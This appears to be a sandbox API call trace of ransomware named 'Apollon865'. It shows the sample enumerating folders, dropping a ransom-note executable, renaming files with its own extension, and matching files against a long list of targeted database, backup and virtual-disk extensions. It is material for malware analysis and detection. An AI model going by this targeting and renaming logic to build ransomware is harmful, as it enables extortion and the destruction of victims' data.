	[0062.421] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1
	[0062.421] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.421] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="Apollon865.txt.exe") returned 1
	[0062.421] lstrcmpiW (lpString1="FrameworkList.xml", lpString2=".") returned 1
	[0062.421] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="..") returned 1
	[0062.421] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="windows") returned -1
	[0062.421] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="bootmgr") returned 1
	[0062.421] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="temp") returned -1
	[0062.421] lstrcmpiW (lpString1="FrameworkList.xml", lpString2="pagefile.sys") returned -1
	[0062.421] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="FrameworkList.xml" | out: lpString1="FrameworkList.xml") returned="FrameworkList.xml"
	[0062.421] lstrlenW (lpString="FrameworkList.xml") returned 17
	[0062.421] lstrlenW (lpString="Apollon865") returned 10
	[0062.421] lstrcmpiW (lpString1="rkList.xml", lpString2="Apollon865") returned 1
	[0062.421] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml.Apollon865") returned 102
	[0062.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml.Apollon865" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml.apollon865"), dwFlags=0x1) returned 0
	[0062.439] GetLastError () returned 0x5
	[0062.439] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml MoveFileEx error 5\r\n") returned 120
	[0062.439] lstrlenA (lpString="[ERROR] C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml MoveFileEx error 5\r\n") returned 120
	[0062.439] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.440] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2b36
	[0062.440] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x78, lpOverlapped=0x0) returned 1
	[0062.440] CloseHandle (hObject=0x15c) returned 1
	[0062.440] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.440] CloseHandle (hObject=0x0) returned 0
	[0062.440] CloseHandle (hObject=0x0) returned 0
	[0062.440] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d456ff0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d456ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.440] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.440] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d456ff0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d456ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.440] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.440] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0062.440] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0", iMaxLength=260 | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0"
	[0062.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0062.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0062.440] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned 62
	[0062.440] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0"
	[0062.440] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.440] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.450] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d4a32b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d4a32b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.450] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.450] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.450] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PresentationBuildTasks.dll" | out: lpString1="PresentationBuildTasks.dll") returned="PresentationBuildTasks.dll"
	[0062.450] lstrlenW (lpString="PresentationBuildTasks.dll") returned 26
	[0062.450] lstrlenW (lpString="Apollon865") returned 10
	[0062.450] lstrcmpiW (lpString1="dTasks.dll", lpString2="Apollon865") returned 1
	[0062.450] lstrlenW (lpString=".dll") returned 4
	[0062.450] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".dll") returned 1
	[0062.450] lstrlenW (lpString=".lnk") returned 4
	[0062.450] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".lnk") returned 1
	[0062.450] lstrlenW (lpString=".ini") returned 4
	[0062.450] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".ini") returned 1
	[0062.450] lstrlenW (lpString=".sys") returned 4
	[0062.450] lstrcmpiW (lpString1="PresentationBuildTasks.dll", lpString2=".sys") returned 1
	[0062.450] lstrlenW (lpString="PresentationBuildTasks.dll") returned 26
	[0062.450] lstrlenW (lpString="bak") returned 3
	[0062.450] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0062.451] lstrlenW (lpString="ba_") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0062.451] lstrlenW (lpString="dbb") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0062.451] lstrlenW (lpString="vmdk") returned 4
	[0062.451] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0062.451] lstrlenW (lpString="rar") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0062.451] lstrlenW (lpString="zip") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0062.451] lstrlenW (lpString="tgz") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0062.451] lstrlenW (lpString="vbox") returned 4
	[0062.451] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0062.451] lstrlenW (lpString="vdi") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0062.451] lstrlenW (lpString="vhd") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0062.451] lstrlenW (lpString="vhdx") returned 4
	[0062.451] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0062.451] lstrlenW (lpString="avhd") returned 4
	[0062.451] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0062.451] lstrlenW (lpString="db") returned 2
	[0062.451] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0062.451] lstrlenW (lpString="db2") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0062.451] lstrlenW (lpString="db3") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0062.451] lstrlenW (lpString="dbf") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0062.451] lstrlenW (lpString="mdf") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0062.451] lstrlenW (lpString="mdb") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0062.451] lstrlenW (lpString="sql") returned 3
	[0062.451] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0062.452] lstrlenW (lpString="sqlite") returned 6
	[0062.452] lstrcmpiW (lpString1="ks.dll", lpString2="sqlite") returned -1
	[0062.452] lstrlenW (lpString="sqlite3") returned 7
	[0062.452] lstrcmpiW (lpString1="sks.dll", lpString2="sqlite3") returned -1
	[0062.452] lstrlenW (lpString="sqlitedb") returned 8
	[0062.452] lstrcmpiW (lpString1="asks.dll", lpString2="sqlitedb") returned -1
	[0062.452] lstrlenW (lpString="xml") returned 3
	[0062.452] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0062.452] lstrlenW (lpString="$er") returned 3
	[0062.452] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0062.452] lstrlenW (lpString="4dd") returned 3
	[0062.452] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0062.452] lstrlenW (lpString="4dl") returned 3
	[0062.452] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0062.452] lstrlenW (lpString="^^^") returned 3
	[0062.452] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0062.452] lstrlenW (lpString="abs") returned 3
	[0062.452] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0062.452] lstrlenW (lpString="abx") returned 3
	[0062.452] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0062.452] lstrlenW (lpString="accdb") returned 5
	[0062.452] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1
	[0062.452] lstrlenW (lpString="accdc") returned 5
	[0062.452] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1
	[0062.452] lstrlenW (lpString="accde") returned 5
	[0062.452] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1
	[0062.452] lstrlenW (lpString="accdr") returned 5
	[0062.452] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1
	[0062.452] lstrlenW (lpString="accdt") returned 5
	[0062.452] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1
	[0062.452] lstrlenW (lpString="accdw") returned 5
	[0062.452] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1
	[0062.452] lstrlenW (lpString="accft") returned 5
	[0062.452] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1
	[0062.452] lstrlenW (lpString="adb") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0062.453] lstrlenW (lpString="adb") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0062.453] lstrlenW (lpString="ade") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0062.453] lstrlenW (lpString="adf") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0062.453] lstrlenW (lpString="adn") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0062.453] lstrlenW (lpString="adp") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0062.453] lstrlenW (lpString="alf") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0062.453] lstrlenW (lpString="ask") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0062.453] lstrlenW (lpString="btr") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0062.453] lstrlenW (lpString="cat") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0062.453] lstrlenW (lpString="cdb") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0062.453] lstrlenW (lpString="ckp") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0062.453] lstrlenW (lpString="cma") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0062.453] lstrlenW (lpString="cpd") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0062.453] lstrlenW (lpString="dacpac") returned 6
	[0062.453] lstrcmpiW (lpString1="ks.dll", lpString2="dacpac") returned 1
	[0062.453] lstrlenW (lpString="dad") returned 3
	[0062.453] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0062.453] lstrlenW (lpString="dadiagrams") returned 10
	[0062.453] lstrcmpiW (lpString1="dTasks.dll", lpString2="dadiagrams") returned 1
	[0062.454] lstrlenW (lpString="daschema") returned 8
	[0062.454] lstrcmpiW (lpString1="asks.dll", lpString2="daschema") returned -1
	[0062.454] lstrlenW (lpString="db-journal") returned 10
	[0062.454] lstrcmpiW (lpString1="dTasks.dll", lpString2="db-journal") returned 1
	[0062.454] lstrlenW (lpString="db-shm") returned 6
	[0062.454] lstrcmpiW (lpString1="ks.dll", lpString2="db-shm") returned 1
	[0062.454] lstrlenW (lpString="db-wal") returned 6
	[0062.454] lstrcmpiW (lpString1="ks.dll", lpString2="db-wal") returned 1
	[0062.454] lstrlenW (lpString="dbc") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0062.454] lstrlenW (lpString="dbs") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0062.454] lstrlenW (lpString="dbt") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0062.454] lstrlenW (lpString="dbv") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0062.454] lstrlenW (lpString="dbx") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0062.454] lstrlenW (lpString="dcb") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0062.454] lstrlenW (lpString="dct") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0062.454] lstrlenW (lpString="dcx") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0062.454] lstrlenW (lpString="ddl") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0062.454] lstrlenW (lpString="dlis") returned 4
	[0062.454] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0062.454] lstrlenW (lpString="dp1") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0062.454] lstrlenW (lpString="dqy") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0062.454] lstrlenW (lpString="dsk") returned 3
	[0062.454] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0062.455] lstrlenW (lpString="dsn") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0062.455] lstrlenW (lpString="dtsx") returned 4
	[0062.455] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0062.455] lstrlenW (lpString="dxl") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0062.455] lstrlenW (lpString="eco") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0062.455] lstrlenW (lpString="ecx") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0062.455] lstrlenW (lpString="edb") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0062.455] lstrlenW (lpString="epim") returned 4
	[0062.455] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0062.455] lstrlenW (lpString="fcd") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0062.455] lstrlenW (lpString="fdb") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0062.455] lstrlenW (lpString="fic") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0062.455] lstrlenW (lpString="flexolibrary") returned 12
	[0062.455] lstrcmpiW (lpString1="ildTasks.dll", lpString2="flexolibrary") returned 1
	[0062.455] lstrlenW (lpString="fm5") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0062.455] lstrlenW (lpString="fmp") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0062.455] lstrlenW (lpString="fmp12") returned 5
	[0062.455] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1
	[0062.455] lstrlenW (lpString="fmpsl") returned 5
	[0062.455] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1
	[0062.455] lstrlenW (lpString="fol") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0062.455] lstrlenW (lpString="fp3") returned 3
	[0062.455] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0062.455] lstrlenW (lpString="fp4") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0062.456] lstrlenW (lpString="fp5") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0062.456] lstrlenW (lpString="fp7") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0062.456] lstrlenW (lpString="fpt") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0062.456] lstrlenW (lpString="frm") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0062.456] lstrlenW (lpString="gdb") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0062.456] lstrlenW (lpString="gdb") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0062.456] lstrlenW (lpString="grdb") returned 4
	[0062.456] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0062.456] lstrlenW (lpString="gwi") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0062.456] lstrlenW (lpString="hdb") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0062.456] lstrlenW (lpString="his") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0062.456] lstrlenW (lpString="ib") returned 2
	[0062.456] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0062.456] lstrlenW (lpString="idb") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0062.456] lstrlenW (lpString="ihx") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0062.456] lstrlenW (lpString="itdb") returned 4
	[0062.456] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0062.456] lstrlenW (lpString="itw") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0062.456] lstrlenW (lpString="jet") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0062.456] lstrlenW (lpString="jtx") returned 3
	[0062.456] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0062.457] lstrlenW (lpString="kdb") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0062.457] lstrlenW (lpString="kexi") returned 4
	[0062.457] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0062.457] lstrlenW (lpString="kexic") returned 5
	[0062.457] lstrcmpiW (lpString1="s.dll", lpString2="kexic") returned 1
	[0062.457] lstrlenW (lpString="kexis") returned 5
	[0062.457] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1
	[0062.457] lstrlenW (lpString="lgc") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0062.457] lstrlenW (lpString="lwx") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0062.457] lstrlenW (lpString="maf") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0062.457] lstrlenW (lpString="maq") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0062.457] lstrlenW (lpString="mar") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0062.457] lstrlenW (lpString="marshal") returned 7
	[0062.457] lstrcmpiW (lpString1="sks.dll", lpString2="marshal") returned 1
	[0062.457] lstrlenW (lpString="mas") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0062.457] lstrlenW (lpString="mav") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0062.457] lstrlenW (lpString="maw") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0062.457] lstrlenW (lpString="mdbhtml") returned 7
	[0062.457] lstrcmpiW (lpString1="sks.dll", lpString2="mdbhtml") returned 1
	[0062.457] lstrlenW (lpString="mdn") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0062.457] lstrlenW (lpString="mdt") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0062.457] lstrlenW (lpString="mfd") returned 3
	[0062.457] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0062.458] lstrlenW (lpString="mpd") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0062.458] lstrlenW (lpString="mrg") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0062.458] lstrlenW (lpString="mud") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0062.458] lstrlenW (lpString="mwb") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0062.458] lstrlenW (lpString="myd") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0062.458] lstrlenW (lpString="ndf") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0062.458] lstrlenW (lpString="nnt") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0062.458] lstrlenW (lpString="nrmlib") returned 6
	[0062.458] lstrcmpiW (lpString1="ks.dll", lpString2="nrmlib") returned -1
	[0062.458] lstrlenW (lpString="ns2") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0062.458] lstrlenW (lpString="ns3") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0062.458] lstrlenW (lpString="ns4") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0062.458] lstrlenW (lpString="nsf") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0062.458] lstrlenW (lpString="nv") returned 2
	[0062.458] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0062.458] lstrlenW (lpString="nv2") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0062.458] lstrlenW (lpString="nwdb") returned 4
	[0062.458] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0062.458] lstrlenW (lpString="nyf") returned 3
	[0062.458] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0062.458] lstrlenW (lpString="odb") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0062.459] lstrlenW (lpString="odb") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0062.459] lstrlenW (lpString="oqy") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0062.459] lstrlenW (lpString="ora") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0062.459] lstrlenW (lpString="orx") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0062.459] lstrlenW (lpString="owc") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0062.459] lstrlenW (lpString="p96") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0062.459] lstrlenW (lpString="p97") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0062.459] lstrlenW (lpString="pan") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0062.459] lstrlenW (lpString="pdb") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0062.459] lstrlenW (lpString="pdm") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0062.459] lstrlenW (lpString="pnz") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0062.459] lstrlenW (lpString="qry") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0062.459] lstrlenW (lpString="qvd") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0062.459] lstrlenW (lpString="rbf") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0062.459] lstrlenW (lpString="rctd") returned 4
	[0062.459] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0062.459] lstrlenW (lpString="rod") returned 3
	[0062.459] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0062.459] lstrlenW (lpString="rodx") returned 4
